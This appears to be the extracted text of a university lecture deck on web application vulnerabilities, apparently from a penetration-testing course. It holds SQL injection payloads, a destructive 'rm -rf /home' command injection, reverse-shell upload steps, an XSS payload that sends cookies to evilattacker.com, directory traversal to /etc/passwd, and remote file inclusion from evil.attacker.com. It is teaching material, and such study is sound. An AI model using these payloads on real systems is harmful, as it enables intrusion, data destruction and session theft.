Chapter 7 Application Vulnerabilities
Chapter 7 Application Vulnerabilities
Chapter 7 Application Vulnerabilities
Applications Vulnerabilities
Dr. Sarah Abu Ghazalah
Introduction
• Injection vulnerabilities are among the primary mechanisms that
penetration testers use to break through a web application and gain
access to the systems supporting that application.
• Input Validation: Applications that allow user input should perform
validation of that input to reduce the likelihood that it contains an
attack.
Input Whitelisting
• The most effective form of input validation uses input whitelisting , in which the
developer describes the exact type of input that is expected from the user and
then verifies that the input matches that specification before passing the input to
other processes or servers.
• For example, if an input form prompts a user to enter their age, input whitelisting
could verify that the user supplied an integer value within the range 0–120. The
application would then reject any values outside that range.
http://www.mycompany.com/status.php?account=12345
http://www.mycompany.com/status.php?account=12345' OR
1=1;--
http://10.10.231.136:5000/sesqli3/login?profileID=a' or 1=1 --a' or 1=1 --&password=a
http://MACHINE_IP:5000/sesqli3/login?profileID=-1' or 1=1-- -&password=a
SQL Injection Attack
• The user enters Redmond, then the following SQL query is generated:
SELECT * FROM OrdersTable WHERE ShipCity = ‘Redmond’
• Suppose, however, the user enters the following:
Redmond’; DROP table OrdersTable--
• This results in the following SQL query:
SELECT * FROM OrdersTable WHERE ShipCity =‘Redmond’; DROP table
OrdersTable--
Example 3
$query = “SELECT info FROM user WHERE name =’$_GET[“name”]’ AND pwd =
‘$_GET[“pwd”]’”;
• The user-supplied data is not directly embedded in the SQL query in this example. Instead of the
user’s data there is a ? symbol. That is a placeholder and temporarily takes the place of the data.
• If the user inserts admin and a’ or ‘1’=’1, the initial SQL query logic won’t be changed. Instead, the
database will look for a user admin whose password is literally a’ or ‘1’=’1.
• The user-provided data will always be interpreted as a simple string and cannot modify the original
query’s logic.
Timing-Based Blind SQL Injection
• Penetration testers may use the amount of time required to process a query as a
channel for retrieving information from a database.
• An attacker seeking to verify whether an application is vulnerable to time-based
attacks might provide the following input to the account ID field:
52019'; WAITFOR DELAY '00:00:15'; --
• if the application returns the result after a 15-second delay, it is likely vulnerable.
• This might seem like a strange attack, but it can actually be used to extract
information from the database. For example, imagine that the Accounts database
table used in the previous example contains an unencrypted field named
Password. An attacker could use a timing-based attack to discover the password by
checking it letter-by-letter.
For each character in the password
For each letter in the alphabet
If the current character is equal to the current letter, wait 15 seconds before returning results
Command Injection
• Command injection is the abuse of an application’s behaviour to execute commands on the
operating system, using the same privileges that the application on a device is running with.
• For example, achieving command injection on a web server running as a user named joe will
execute commands under this joe user – and therefore obtain any permissions that joe has.
• A command injection vulnerability is also known as a “Remote Code Execution” (RCE) because an
attacker can trick the application into executing a series of payloads that they provide, without
direct access to the machine itself (i.e. an interactive shell). The webserver will process this code
and execute it under the privileges and access controls of the user who is running that application.
•
Command Injection
• For example, an application sets up a new student account for a course. Among other actions, it creates a
directory on the server for the student (mkdir).
• On a Linux system, the application might use a system() call to send the directory creation command to the
underlying operating system.
• For example, if someone fills in the textbox with mchapple >>>then the application might use this function
call:
system('mkdir /home/students/mchapple')
• An attacker examining this application might guess that this is how the application works and then supply the
input
mchapple & rm -rf /home
• which the application then uses to create the system call:
system('mkdir /home/students/mchapple & rm -rf home')
Command Injection
• Checking if the parameter "commandString" is set.
• If it is, then the variable $command_string gets what
was passed into the input field.
• The program then goes into a try block to execute
the function passthru($command_string). You can
read the docs on passthru() on PHP's website, but in
general, it is executing what gets entered into the
input then passing the output directly back to the
browser.
• If the try does not succeed, output the error to page.
Command Injection
• The worst thing they could do would be to spawn a reverse shell to
become the user that the web server is running as.
1-
Gobuster is a tool used to brute-force: URIs (directories and files) in web sites,
DNS subdomains (with wildcard support), Virtual Host names on target web servers,
Open Amazon S3 buckets, Open Google Cloud buckets and TFTP servers
One of the primary steps in attacking an internet application is enumerating hidden
directories and files. Doing so can often yield valuable information that makes it easier to
execute a particular attack, leaving less room for errors and wasted time
2- We'll try uploading a legitimate image file first.
3- Then we will try to upload a malicious file that can do a reverse shell.
Fortunately, if a website is written in PHP, we can use reverse shell file
for PHP in KALI (php-reverse-shell.php), but you just need to change IP
address and port to the attacker IP address and listening port.
4- Open listener:
http://www.yourbankswebsite.com/search?<script>location.href=’http://www.evilatt
acker.com/hijacker.php?cookie=’+document.cookie;</script>
Unvalidated Redirects
• Insecure URL redirects are another vulnerability that attackers may
exploit in an attempt to steal user sessions.
• Some web applications allow the browser to pass destination URLs to
the application and then redirect the user to that URL at the
completion of their transaction.
• For example, an ordering page might use URLs with this structure:
https://www.mycompany.com/ordering.php?redirect=http%3a//www.m
ycompany.com/ thankyou.htm
• The web application would then send the user to the thank you page
at the conclusion of the transaction.
Unvalidated Redirects
• However, if the application allows redirection to any URL, this creates a situation
known as an unvalidated redirect, which an attacker may use to redirect the user
to a malicious site.
• For example, an attacker might post a link to the page above on a message board
but alter the URL to appear as:
https://www.mycompany.com/ordering.php?redirect=http%3a//www.evilhacker.co
m/passwordstealer.htm
• Developers seeking to include redirection options in their applications should
perform validated redirects that check redirection URLs against an approved list.
This list might specify the exact URLs authorized for redirection, or more simply, it
might just limit redirection to URLs from the same domain.
Directory Traversal (dot
dot slash attack)
• It is a web security vulnerability allows an attacker to read operating
system resources
• Some web servers suffer from a security misconfiguration that
allows users to navigate the directory structure and access files that
should remain secure.
• For example, consider an Apache web server that stores web
content in the directory path /var/www/html/. That same server
might store the shadow password file, which contains hashed user
passwords, in the /etc directory using the filename /etc/shadow.
• For example, if the site were www.mycompany.com, the URL
www.mycompany.com/account.php would refer to the file
/var/www/html/account.php stored on the server.
Directory Traversal
• Directory traversal attacks use this knowledge and attempt to navigate outside of
the areas of the file system that are reserved for the web server. For example, a
directory traversal attack might seek to access the shadow password file by
entering this URL:
http://www.mycompany.com ../../../../etc/passwd
File inclusion attacks come in two variants:
■■ Local file inclusion attacks seek to execute code
■■ Remote file inclusion (RFI) attacks allow the attacker to go a step further
and execute code that is stored on a remote server. These attacks are
especially dangerous because the attacker can directly control the code.
For example, an attacker might use this URL to execute an attack file stored on
a remote server:
• http://www.mycompany.com/app.php?include=http://evil.attacker.com/atta
ck.exe
• When attackers discover a file inclusion vulnerability, they often exploit it to
upload a web shell to the server. Web shells allow the attacker to execute
commands on the server and view the results in the browser.
Cross-site scripting (XSS)
• In an attack called cross-site scripting, executable
code is included in the interaction between client
and server and executed bythe client or server.
• An XSS attack uses malicious code to redirect users to
malicious websites, steal cookies or credentials, or
deface websites.
Cross-site scripting (XSS) Stored XSS
Examples
45 / 40
201
Demo https://mrd0x.com/browser-in-the-browser-phishing-attack/
JSON Web Tokens (JWT) Attacks
• JWTs are most commonly used in authentication, session
management, and access control mechanisms.
• JSON Web Tokens (JWTs) are a standardized format for sending
cryptographically signed JSON data between systems. They can
theoretically contain any kind of data, but are most commonly used to
send information ("claims") about users as part of authentication,
session handling, and access control mechanisms.
JWT Format
https://demo.sjoerdlangkemper.nl/jwtdemo/hs256.php?
Weak Signing Key
• When implementing JWT applications, developers sometimes make
mistakes like forgetting to change default or placeholder secrets.
• It can be trivial for an attacker to brute-force a server's secret using
a wordlist of well-known secrets.
Insecure Deserialization
• Serialization is the process of converting complex data structures, such as objects and their
fields, into a "flatter" format that can be sent and received as a sequential stream of bytes.
• Deserialization is the process of restoring this byte stream to a fully functional replica of the
original object
For example, consider a User object with the attributes:
$user->name = "carlos"; $user->isLoggedIn = true;
When serialized, this object may look something like this:
O:4:"User":2:{s:4:"name":s:6:"carlos"; s:10:"isLoggedIn":b:1;}
This can be interpreted as follows:
•O:4:"User" - An object with the 4-character class name "User"
•2 - the object has 2 attributes
•s:4:"name" - The key of the first attribute is the 4-character string "name"
•s:6:"carlos" - The value of the first attribute is the 6-character string "carlos"
•s:10:"isLoggedIn" - The key of the second attribute is the 10-character
string "isLoggedIn"
•b:1 - The value of the second attribute is the boolean value true
Insecure Deserialization
• This potentially enables an attacker to manipulate serialized objects in order to pass harmful data
into the application code.
• As a simple example, consider a website that uses a serialized User object to store data about a
user's session in a cookie. If an attacker spotted this serialized object in an HTTP request, they
might decode it to find the following byte stream:
• O:4:"User":2:{s:8:"username";s:6:"carlos";s:7:"isAdmin";b:0;}
$user = unserialize($_COOKIE);
if ($user->isAdmin === true) {
// allow access to admin interface
}
Insecure Deserialization (Modify Data Type)
• If you perform a loose comparison between an integer and a string, PHP will
attempt to convert the string to an integer, meaning that 5 == "5" evaluates
to true.
• PHP will effectively convert the entire string to an integer value based on
the initial number. The rest of the string is ignored completely.
• Therefore, 5 == "5 of something" is in practice treated as 5 == 5.